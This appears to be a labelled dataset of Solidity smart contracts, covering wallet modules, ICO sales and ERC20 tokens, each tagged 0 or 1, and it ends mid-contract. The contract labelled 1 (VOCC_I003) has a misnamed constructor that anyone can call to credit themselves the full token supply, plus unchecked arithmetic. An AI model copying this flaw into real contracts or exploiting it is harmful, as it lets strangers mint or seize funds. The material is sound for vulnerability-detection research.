if(isWithinDailyLimit(_wallet, current, _amount)) { updateDailySpent(_wallet, current, _amount); return true; } return false; } function updateDailySpent(BaseWallet _wallet, uint128 _limit, uint _amount) internal { if(_limit != LIMIT_DISABLED) { DailySpent storage expense = limits[_wallet].dailySpent; if (expense.periodEnd < now) { expense.periodEnd = uint64(now + 24 hours); expense.alreadySpent = uint128(_amount); } else { expense.alreadySpent += uint128(_amount); } } } function isWithinDailyLimit(BaseWallet _wallet, uint _limit, uint _amount) internal view returns (bool) { DailySpent storage expense = limits[_wallet].dailySpent; if(_limit == LIMIT_DISABLED) { return true; } else if (expense.periodEnd < now) { return (_amount <= _limit); } else { return (expense.alreadySpent + _amount <= _limit && expense.alreadySpent + _amount >= expense.alreadySpent); } } function currentLimit(uint128 _current, uint128 _pending, uint64 _changeAfter) internal view returns (uint128) { if(_changeAfter > 0 && _changeAfter < now) { return _pending; } return _current; } } contract ERC20 { function totalSupply() public view returns (uint); function decimals() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function ceil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; if(a % b == 0) { return c; } else { return c + 1; } } } contract Owned { address public owner; event OwnerChanged(address indexed _newOwner); modifier onlyOwner { require(msg.sender == owner, "Must be owner"); _; } constructor() public { owner = msg.sender; } function changeOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0), "Address must not be null"); owner = _newOwner; emit OwnerChanged(_newOwner); } } contract ModuleRegistry is Owned { mapping (address => Info) internal modules; mapping (address => Info) internal upgraders; event ModuleRegistered(address indexed module, bytes32 name); event ModuleDeRegistered(address module); event UpgraderRegistered(address indexed upgrader, bytes32 name); event UpgraderDeRegistered(address upgrader); struct Info { bool exists; bytes32 name; } function registerModule(address _module, bytes32 _name) external onlyOwner { require(!modules[_module].exists, "MR: module already exists"); modules[_module] = Info({exists: true, name: _name}); emit ModuleRegistered(_module, _name); } function deregisterModule(address _module) external onlyOwner { require(modules[_module].exists, "MR: module does not exists"); delete modules[_module]; emit ModuleDeRegistered(_module); } function registerUpgrader(address _upgrader, bytes32 _name) external onlyOwner { require(!upgraders[_upgrader].exists, "MR: upgrader already exists"); upgraders[_upgrader] = Info({exists: true, name: _name}); emit UpgraderRegistered(_upgrader, _name); } function deregisterUpgrader(address _upgrader) external onlyOwner { require(upgraders[_upgrader].exists, "MR: upgrader does not exists"); delete upgraders[_upgrader]; emit UpgraderDeRegistered(_upgrader); } function recoverToken(address _token) external onlyOwner { uint total = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(msg.sender, total); } function moduleInfo(address _module) external view returns (bytes32) { return modules[_module].name; } function upgraderInfo(address _upgrader) external view returns (bytes32) { return upgraders[_upgrader].name; } function isRegisteredModule(address _module) external view returns (bool) { return modules[_module].exists; } function isRegisteredModule(address[] _modules) external view returns (bool) { for(uint i = 0; i < _modules.length; i++) { if (!modules[_modules[i]].exists) { return false; } } return true; } function isRegisteredUpgrader(address _upgrader) external view returns (bool) { return upgraders[_upgrader].exists; } } contract BaseWallet { address public implementation; address public owner; mapping (address => bool) public authorised; mapping (bytes4 => address) public enabled; uint public modules; event AuthorisedModule(address indexed module, bool value); event EnabledStaticCall(address indexed module, bytes4 indexed method); event Invoked(address indexed module, address indexed target, uint indexed value, bytes data); event Received(uint indexed value, address indexed sender, bytes data); event OwnerChanged(address owner); modifier moduleOnly { require(authorised[msg.sender], "BW: msg.sender not an authorized module"); _; } function init(address _owner, address[] _modules) external { require(owner == address(0) && modules == 0, "BW: wallet already initialised"); require(_modules.length > 0, "BW: construction requires at least 1 module"); owner = _owner; modules = _modules.length; for(uint256 i = 0; i < _modules.length; i++) { require(authorised[_modules[i]] == false, "BW: module is already added"); authorised[_modules[i]] = true; Module(_modules[i]).init(this); emit AuthorisedModule(_modules[i], true); } } function authoriseModule(address _module, bool _value) external moduleOnly { if (authorised[_module] != _value) { if(_value == true) { modules += 1; authorised[_module] = true; Module(_module).init(this); } else { modules -= 1; require(modules > 0, "BW: wallet must have at least one module"); delete authorised[_module]; } emit AuthorisedModule(_module, _value); } } function enableStaticCall(address _module, bytes4 _method) external moduleOnly { require(authorised[_module], "BW: must be an authorised module for static call"); enabled[_method] = _module; emit EnabledStaticCall(_module, _method); } function setOwner(address _newOwner) external moduleOnly { require(_newOwner != address(0), "BW: address cannot be null"); owner = _newOwner; emit OwnerChanged(_newOwner); } function invoke(address _target, uint _value, bytes _data) external moduleOnly { require(_target.call.value(_value)(_data), "BW: call to target failed"); emit Invoked(msg.sender, _target, _value, _data); } function() public payable { if(msg.data.length > 0) { address module = enabled[msg.sig]; if(module == address(0)) { emit Received(msg.value, msg.sender, msg.data); } else { require(authorised[module], "BW: must be an authorised module for static call"); assembly { calldatacopy(0, 0, calldatasize()) let result := staticcall(gas, module, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } } } } contract TokenPriceProvider { using SafeMath for uint256; address constant internal ETH_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address constant internal KYBER_NETWORK_ADDRESS = 0x818E6FECD516Ecc3849DAf6845e3EC868087B755; mapping(address => uint256) public cachedPrices; function syncPrice(ERC20 token) public { uint256 expectedRate; (expectedRate,) = kyberNetwork().getExpectedRate(token, ERC20(ETH_TOKEN_ADDRESS), 10000); cachedPrices[token] = expectedRate; } function syncPriceForTokenList(ERC20[] tokens) public { for(uint16 i = 0; i < tokens.length; i++) { syncPrice(tokens[i]); } } function getEtherValue(uint256 _amount, address _token) public view returns (uint256) { uint256 decimals = ERC20(_token).decimals(); uint256 price = cachedPrices[_token]; return price.mul(_amount).div(10**decimals); } function kyberNetwork() internal view returns (KyberNetwork) { return KyberNetwork(KYBER_NETWORK_ADDRESS); } } contract KyberNetwork { function getExpectedRate( ERC20 src, ERC20 dest, uint srcQty ) public view returns (uint expectedRate, uint slippageRate); function trade( ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId ) public payable returns(uint); } contract Storage { modifier onlyModule(BaseWallet _wallet) { require(_wallet.authorised(msg.sender), "TS: must be an authorized module to call this method"); _; } } contract GuardianStorage is Storage { struct GuardianStorageConfig { address[] guardians; mapping (address => GuardianInfo) info; uint256 lock; address locker; } struct GuardianInfo { bool exists; uint128 index; } mapping (address => GuardianStorageConfig) internal configs; function addGuardian(BaseWallet _wallet, address _guardian) external onlyModule(_wallet) { GuardianStorageConfig storage config = configs[_wallet]; config.info[_guardian].exists = true; config.info[_guardian].index = uint128(config.guardians.push(_guardian) - 1); } function revokeGuardian(BaseWallet _wallet, address _guardian) external onlyModule(_wallet) { GuardianStorageConfig storage config = configs[_wallet]; address lastGuardian = config.guardians[config.guardians.length - 1]; if (_guardian != lastGuardian) { uint128 targetIndex = config.info[_guardian].index; config.guardians[targetIndex] = lastGuardian; config.info[lastGuardian].index = targetIndex; } config.guardians.length--; delete config.info[_guardian]; } function guardianCount(BaseWallet _wallet) external view returns (uint256) { return configs[_wallet].guardians.length; } function getGuardians(BaseWallet _wallet) external view returns (address[]) { GuardianStorageConfig storage config = configs[_wallet]; address[] memory guardians = new address[](config.guardians.length); for (uint256 i = 0; i < config.guardians.length; i++) { guardians[i] = config.guardians[i]; } return guardians; } function isGuardian(BaseWallet _wallet, address _guardian) external view returns (bool) { return configs[_wallet].info[_guardian].exists; } function setLock(BaseWallet _wallet, uint256 _releaseAfter) external onlyModule(_wallet) { configs[_wallet].lock = _releaseAfter; if(_releaseAfter != 0 && msg.sender != configs[_wallet].locker) { configs[_wallet].locker = msg.sender; } } function isLocked(BaseWallet _wallet) external view returns (bool) { return configs[_wallet].lock > now; } function getLock(BaseWallet _wallet) external view returns (uint256) { return configs[_wallet].lock; } function getLocker(BaseWallet _wallet) external view returns (address) { return configs[_wallet].locker; } } contract TransferStorage is Storage { mapping (address => mapping (address => uint256)) internal whitelist; function setWhitelist(BaseWallet _wallet, address _target, uint256 _value) external onlyModule(_wallet) { whitelist[_wallet][_target] = _value; } function getWhitelist(BaseWallet _wallet, address _target) external view returns (uint256) { return whitelist[_wallet][_target]; } } contract TokenTransfer is BaseModule, RelayerModule, LimitManager { bytes32 constant NAME = "TokenTransfer"; bytes4 constant internal EXECUTE_PENDING_PREFIX = bytes4(keccak256("executePendingTransfer(address,address,address,uint256,bytes,uint256)")); bytes constant internal EMPTY_BYTES = ""; using SafeMath for uint256; address constant internal ETH_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint128 constant internal LIMIT_DISABLED = uint128(-1); struct TokenTransferConfig { mapping (bytes32 => uint256) pendingTransfers; } mapping (address => TokenTransferConfig) internal configs; uint256 public securityPeriod; uint256 public securityWindow; GuardianStorage public guardianStorage; TransferStorage public transferStorage; TokenPriceProvider public priceProvider; event Transfer(address indexed wallet, address indexed token, uint256 indexed amount, address to, bytes data); event AddedToWhitelist(address indexed wallet, address indexed target, uint64 whitelistAfter); event RemovedFromWhitelist(address indexed wallet, address indexed target); event PendingTransferCreated(address indexed wallet, bytes32 indexed id, uint256 indexed executeAfter, address token, address to, uint256 amount, bytes data); event PendingTransferExecuted(address indexed wallet, bytes32 indexed id); event PendingTransferCanceled(address indexed wallet, bytes32 indexed id); modifier onlyOwnerOrModule(BaseWallet _wallet) { require(isOwner(_wallet, msg.sender) || _wallet.authorised(msg.sender), "TT: must be wallet owner or module"); _; } modifier onlyWhenUnlocked(BaseWallet _wallet) { require(!guardianStorage.isLocked(_wallet), "TT: wallet must be unlocked"); _; } constructor( ModuleRegistry _registry, TransferStorage _transferStorage, GuardianStorage _guardianStorage, address _priceProvider, uint256 _securityPeriod, uint256 _securityWindow, uint256 _defaultLimit ) BaseModule(_registry, NAME) LimitManager(_defaultLimit) public { transferStorage = _transferStorage; guardianStorage = _guardianStorage; priceProvider = TokenPriceProvider(_priceProvider); securityPeriod = _securityPeriod; securityWindow = _securityWindow; } function transferToken( BaseWallet _wallet, address _token, address _to, uint256 _amount, bytes _data ) external onlyOwnerOrModule(_wallet) onlyWhenUnlocked(_wallet) { if(isWhitelisted(_wallet, _to)) { if(_token == ETH_TOKEN) { transferETH(_wallet, _to, _amount, _data); } else { transferERC20(_wallet, _token, _to, _amount, _data); } } else { if(_token == ETH_TOKEN) { if (checkAndUpdateDailySpent(_wallet, _amount)) { transferETH(_wallet, _to, _amount, _data); } else { addPendingTransfer(_wallet, ETH_TOKEN, _to, _amount, _data); } } else { uint256 etherAmount = priceProvider.getEtherValue(_amount, _token); if (checkAndUpdateDailySpent(_wallet, etherAmount)) { transferERC20(_wallet, _token, _to, _amount, _data); } else { addPendingTransfer(_wallet, _token, _to, _amount, _data); } } } } function addToWhitelist( BaseWallet _wallet, address _target ) external onlyOwner(_wallet) onlyWhenUnlocked(_wallet) { require(!isWhitelisted(_wallet, _target), "TT: target already whitelisted"); uint256 whitelistAfter = now.add(securityPeriod); transferStorage.setWhitelist(_wallet, _target, whitelistAfter); emit AddedToWhitelist(_wallet, _target, uint64(whitelistAfter)); } function removeFromWhitelist( BaseWallet _wallet, address _target ) external onlyOwner(_wallet) onlyWhenUnlocked(_wallet) { require(isWhitelisted(_wallet, _target), "TT: target not whitelisted"); transferStorage.setWhitelist(_wallet, _target, 0); emit RemovedFromWhitelist(_wallet, _target); } function executePendingTransfer( BaseWallet _wallet, address _token, address _to, uint _amount, bytes _data, uint _block ) public onlyWhenUnlocked(_wallet) { bytes32 id = keccak256(abi.encodePacked(_token, _to, _amount, _data, _block)); uint executeAfter = configs[_wallet].pendingTransfers[id]; uint executeBefore = executeAfter.add(securityWindow); require(executeAfter <= now && now <= executeBefore, "TT: outside of the execution window"); removePendingTransfer(_wallet, id); if(_token == ETH_TOKEN) { transferETH(_wallet, _to, _amount, _data); } else { transferERC20(_wallet, _token, _to, _amount, _data); } emit PendingTransferExecuted(_wallet, id); } function cancelPendingTransfer( BaseWallet _wallet, bytes32 _id ) public onlyOwner(_wallet) onlyWhenUnlocked(_wallet) { require(configs[_wallet].pendingTransfers[_id] > 0, "TT: unknown pending transfer"); removePendingTransfer(_wallet, _id); emit PendingTransferCanceled(_wallet, _id); } function changeLimit(BaseWallet _wallet, uint256 _newLimit) public onlyOwner(_wallet) onlyWhenUnlocked(_wallet) { changeLimit(_wallet, _newLimit, securityPeriod); } function disableLimit(BaseWallet _wallet) external onlyOwner(_wallet) onlyWhenUnlocked(_wallet) { changeLimit(_wallet, LIMIT_DISABLED, securityPeriod); } function isWhitelisted(BaseWallet _wallet, address _target) public view returns (bool _isWhitelisted) { uint whitelistAfter = transferStorage.getWhitelist(_wallet, _target); return whitelistAfter > 0 && whitelistAfter < now; } function getPendingTransfer(BaseWallet _wallet, bytes32 _id) external view returns (uint64 _executeAfter) { _executeAfter = uint64(configs[_wallet].pendingTransfers[_id]); } function transferETH(BaseWallet _wallet, address _to, uint256 _value, bytes _data) internal { _wallet.invoke(_to, _value, EMPTY_BYTES); emit Transfer(_wallet, ETH_TOKEN, _value, _to, _data); } function transferERC20(BaseWallet _wallet, address _token, address _to, uint256 _value, bytes _data) internal { bytes memory methodData = abi.encodeWithSignature("transfer(address,uint256)", _to, _value); _wallet.invoke(_token, 0, methodData); emit Transfer(_wallet, _token, _value, _to, _data); } function addPendingTransfer(BaseWallet _wallet, address _token, address _to, uint _amount, bytes _data) internal returns (bytes32) { bytes32 id = keccak256(abi.encodePacked(_token, _to, _amount, _data, block.number)); uint executeAfter = now.add(securityPeriod); configs[_wallet].pendingTransfers[id] = executeAfter; emit PendingTransferCreated(_wallet, id, executeAfter, _token, _to, _amount, _data); } function removePendingTransfer(BaseWallet _wallet, bytes32 _id) internal { delete configs[_wallet].pendingTransfers[_id]; } function refund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _gasLimit, uint _signatures, address _relayer) internal { uint256 amount = 36616 + _gasUsed; if(_gasPrice > 0 && _signatures > 0 && amount <= _gasLimit) { if(_gasPrice > tx.gasprice) { amount = amount * tx.gasprice; } else { amount = amount * _gasPrice; } updateDailySpent(_wallet, uint128(getCurrentLimit(_wallet)), amount); _wallet.invoke(_relayer, amount, ""); } } function verifyRefund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _signatures) internal view returns (bool) { if(_gasPrice > 0 && _signatures > 0 && ( address(_wallet).balance < _gasUsed * _gasPrice || isWithinDailyLimit(_wallet, getCurrentLimit(_wallet), _gasUsed * _gasPrice) == false || _wallet.authorised(this) == false )) { return false; } return true; } function checkAndUpdateUniqueness(BaseWallet _wallet, uint256 _nonce, bytes32 _signHash) internal returns (bool) { return checkAndUpdateNonce(_wallet, _nonce); } function validateSignatures(BaseWallet _wallet, bytes _data, bytes32 _signHash, bytes _signatures) internal view returns (bool) { address signer = recoverSigner(_signHash, _signatures, 0); return isOwner(_wallet, signer); } function getRequiredSignatures(BaseWallet _wallet, bytes _data) internal view returns (uint256) { bytes4 methodId = functionPrefix(_data); if (methodId == EXECUTE_PENDING_PREFIX) { return 0; } return 1; } }
0
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Lockable is Ownable { event Lock(); event Unlock(); bool public locked = false; modifier whenNotLocked() { require(!locked); _; } modifier whenLocked() { require(locked); _; } function lock() public onlyOwner whenNotLocked { locked = true; Lock(); } function unlock() public onlyOwner whenLocked { locked = false; Unlock(); } } contract BaseFixedERC20Token is Lockable { using SafeMath for uint; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) private allowed; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); function balanceOf(address owner_) public view returns (uint balance) { return balances[owner_]; } function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(value_); balances[to_] = balances[to_].add(value_); Transfer(msg.sender, to_, value_); return true; } function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]); balances[from_] = balances[from_].sub(value_); balances[to_] = balances[to_].add(value_); allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_); Transfer(from_, to_, value_); return true; } function approve(address spender_, uint value_) public whenNotLocked returns (bool) { if (value_ != 0 && allowed[msg.sender][spender_] != 0) { revert(); } allowed[msg.sender][spender_] = value_; Approval(msg.sender, spender_, value_); return true; } function allowance(address owner_, address spender_) public view returns (uint) { return allowed[owner_][spender_]; } } contract BaseICOToken is BaseFixedERC20Token { uint public availableSupply; address public ico; event ICOTokensInvested(address indexed to, uint amount); event ICOChanged(address indexed icoContract); modifier onlyICO() { require(msg.sender == ico); _; } function BaseICOToken(uint totalSupply_) public { locked = true; totalSupply = totalSupply_; availableSupply = totalSupply_; } function changeICO(address ico_) public onlyOwner { ico = ico_; ICOChanged(ico); } function icoInvestment(address to_, uint amount_) public onlyICO returns (uint) { require(isValidICOInvestment(to_, amount_)); availableSupply = availableSupply.sub(amount_); balances[to_] = balances[to_].add(amount_); ICOTokensInvested(to_, amount_); return amount_; } function isValidICOInvestment(address to_, uint amount_) internal view returns (bool) { return to_ != address(0) && amount_ <= availableSupply; } } contract BaseICO is Ownable { enum State { Inactive, Active, Suspended, Terminated, NotCompleted, Completed } BaseICOToken public token; State public state; uint public startAt; uint public endAt; uint public lowCapWei; uint public hardCapWei; uint public lowCapTxWei; uint public hardCapTxWei; uint public collectedWei; uint public tokensSold; address public teamWallet; event ICOStarted(uint indexed endAt, uint lowCapWei, uint hardCapWei, uint lowCapTxWei, uint hardCapTxWei); event ICOResumed(uint indexed endAt, uint lowCapWei, uint hardCapWei, uint lowCapTxWei, uint hardCapTxWei); event ICOSuspended(); event ICOTerminated(); event ICONotCompleted(); event ICOCompleted(uint collectedWei); event ICOInvestment(address indexed from, uint investedWei, uint tokens, uint8 bonusPct); function BaseICO(address icoToken_, address teamWallet_, uint lowCapWei_, uint hardCapWei_, uint lowCapTxWei_, uint hardCapTxWei_) public { require(icoToken_ != address(0) && teamWallet_ != address(0)); token = BaseICOToken(icoToken_); teamWallet = teamWallet_; state = State.Inactive; lowCapWei = lowCapWei_; hardCapWei = hardCapWei_; lowCapTxWei = lowCapTxWei_; hardCapTxWei = hardCapTxWei_; } modifier isSuspended() { require(state == State.Suspended); _; } modifier isActive() { require(state == State.Active); _; } function start(uint endAt_) public onlyOwner { require(endAt_ > block.timestamp && state == State.Inactive); endAt = endAt_; startAt = block.timestamp; state = State.Active; ICOStarted(endAt, lowCapWei, hardCapWei, lowCapTxWei, hardCapTxWei); } function suspend() public onlyOwner isActive { state = State.Suspended; ICOSuspended(); } function terminate() public onlyOwner { require(state != State.Terminated && state != State.NotCompleted && state != State.Completed); state = State.Terminated; ICOTerminated(); } function tune(uint endAt_, uint lowCapWei_, uint hardCapWei_, uint lowCapTxWei_, uint hardCapTxWei_) public onlyOwner isSuspended { if (endAt_ > block.timestamp) { endAt = endAt_; } if (lowCapWei_ > 0) { lowCapWei = lowCapWei_; } if (hardCapWei_ > 0) { hardCapWei = hardCapWei_; } if (lowCapTxWei_ > 0) { lowCapTxWei = lowCapTxWei_; } if (hardCapTxWei_ > 0) { hardCapTxWei = hardCapTxWei_; } require(lowCapWei <= hardCapWei && lowCapTxWei <= hardCapTxWei); touch(); } function resume() public onlyOwner isSuspended { state = State.Active; ICOResumed(endAt, lowCapWei, hardCapWei, lowCapTxWei, hardCapTxWei); touch(); } function touch() public; function buyTokens() public payable; function forwardFunds() internal { teamWallet.transfer(msg.value); } } contract Whitelisted is Ownable { bool public whitelistEnabled = true; mapping(address => bool) public whitelist; event ICOWhitelisted(address indexed addr); event ICOBlacklisted(address indexed addr); modifier onlyWhitelisted { require(!whitelistEnabled || whitelist[msg.sender]); _; } function whitelist(address address_) external onlyOwner { whitelist[address_] = true; ICOWhitelisted(address_); } function blacklist(address address_) external onlyOwner { delete whitelist[address_]; ICOBlacklisted(address_); } function whitelisted(address address_) public view returns (bool) { if (whitelistEnabled) { return whitelist[address_]; } else { return true; } } function enableWhitelist() public onlyOwner { whitelistEnabled = true; } function disableWhitelist() public onlyOwner { whitelistEnabled = false; } } contract DWBTICO is BaseICO, Whitelisted { using SafeMath for uint; uint internal constant ONE_TOKEN = 1e18; uint public constant ETH_TOKEN_EXCHANGE_RATIO = 10000; uint8[4] public weekBonuses; uint public investorCount; mapping (address => uint) public investments; function DWBTICO(address icoToken_, address teamWallet_, uint lowCapWei_, uint hardCapWei_, uint lowCapTxWei_, uint hardCapTxWei_) public BaseICO(icoToken_, teamWallet_, lowCapWei_, hardCapWei_, lowCapTxWei_, hardCapTxWei_) { weekBonuses = [0, 30, 20, 10]; } function start(uint endAt_) public onlyOwner { require(endAt_ > block.timestamp && state == State.Inactive); endAt = endAt_; startAt = block.timestamp; state = State.Active; ICOStarted(endAt, lowCapWei, hardCapWei, lowCapTxWei, hardCapTxWei); } function touch() public { if (state != State.Active && state != State.Suspended) { return; } if (collectedWei >= hardCapWei) { state = State.Completed; endAt = block.timestamp; ICOCompleted(collectedWei); } else if (block.timestamp >= endAt) { if (collectedWei < lowCapWei) { state = State.NotCompleted; ICONotCompleted(); } else { state = State.Completed; ICOCompleted(collectedWei); } } } function buyTokens() public onlyWhitelisted payable { require(state == State.Active && block.timestamp <= endAt && msg.value >= lowCapTxWei && msg.value <= hardCapTxWei && collectedWei + msg.value <= hardCapWei); uint amountWei = msg.value; uint8 bonus = getCurrentBonus(); uint iwei = amountWei.mul(100 + bonus).div(100); uint itokens = iwei * ETH_TOKEN_EXCHANGE_RATIO; token.icoInvestment(msg.sender, itokens); collectedWei = collectedWei.add(amountWei); tokensSold = tokensSold.add(itokens); if (investments[msg.sender] == 0) { investorCount++; } investments[msg.sender] = investments[msg.sender].add(amountWei); ICOInvestment(msg.sender, amountWei, itokens, bonus); forwardFunds(); touch(); } function getInvestments(address investor) public view returns (uint) { return investments[investor]; } function getCurrentBonus() public view returns (uint8) { return weekBonuses[getWeekNumber()]; } function getWeekNumber() internal view returns (uint8 weekNumber) { weekNumber = 0; uint time = startAt; for (uint8 i = 1; i < weekBonuses.length; i++) { time = time + 1 weeks; if (block.timestamp <= time) { weekNumber = i; break; } } } function() external payable { buyTokens(); } }
0
pragma solidity ^0.4.25 ; contract VOCC_I003_20181211 { mapping (address => uint256) public balanceOf; string public name = " VOCC_I003_20181211 " ; string public symbol = " VOCC_I003_20181211_subDT " ; uint8 public decimals = 18 ; uint256 public totalSupply = 19800000000000000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
1
pragma solidity 0.4.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b,"Math error"); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0,"Math error"); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a,"Math error"); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a,"Math error"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0,"Math error"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal balances_; mapping (address => mapping (address => uint256)) private allowed_; uint256 private totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed_[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances_[msg.sender],"Invalid value"); require(_to != address(0),"Invalid address"); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances_[_from],"Value is more than balance"); require(_value <= allowed_[_from][msg.sender],"Value is more than alloved"); require(_to != address(0),"Invalid address"); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed_[msg.sender][_spender] = (allowed_[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed_[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed_[msg.sender][_spender] = 0; } else { allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]); return true; } function _mint(address _account, uint256 _amount) internal { require(_account != 0,"Invalid address"); totalSupply_ = totalSupply_.add(_amount); balances_[_account] = balances_[_account].add(_amount); emit Transfer(address(0), _account, _amount); } function _burn(address _account, uint256 _amount) internal { require(_account != 0,"Invalid address"); require(_amount <= balances_[_account],"Amount is more than balance"); totalSupply_ = totalSupply_.sub(_amount); balances_[_account] = balances_[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } } library SafeERC20 { function safeTransfer( IERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value),"Transfer error"); } function safeTransferFrom( IERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value),"Tranfer error"); } function safeApprove( IERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value),"Approve error"); } } contract Pausable { event Paused(); event Unpaused(); bool public paused = false; modifier whenNotPaused() { require(!paused,"Contract is paused, sorry"); _; } modifier whenPaused() { require(paused, "Contract is running now"); _; } } contract ERC20Pausable is ERC20, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract ATHLETICOToken is ERC20Pausable { string public constant name = "ATHLETICO TOKEN"; string public constant symbol = "ATH"; uint32 public constant decimals = 18; uint256 public INITIAL_SUPPLY = 1000000000 * 1 ether; address public CrowdsaleAddress; bool public ICOover; mapping (address => bool) public kyc; mapping (address => uint256) public sponsors; event LogSponsor( address indexed from, uint256 value ); constructor(address _CrowdsaleAddress) public { CrowdsaleAddress = _CrowdsaleAddress; _mint(_CrowdsaleAddress, INITIAL_SUPPLY); } modifier onlyOwner() { require(msg.sender == CrowdsaleAddress,"Only CrowdSale contract can run this"); _; } modifier validDestination( address to ) { require(to != address(0),"Empty address"); require(to != address(this),"RESTO Token address"); _; } modifier 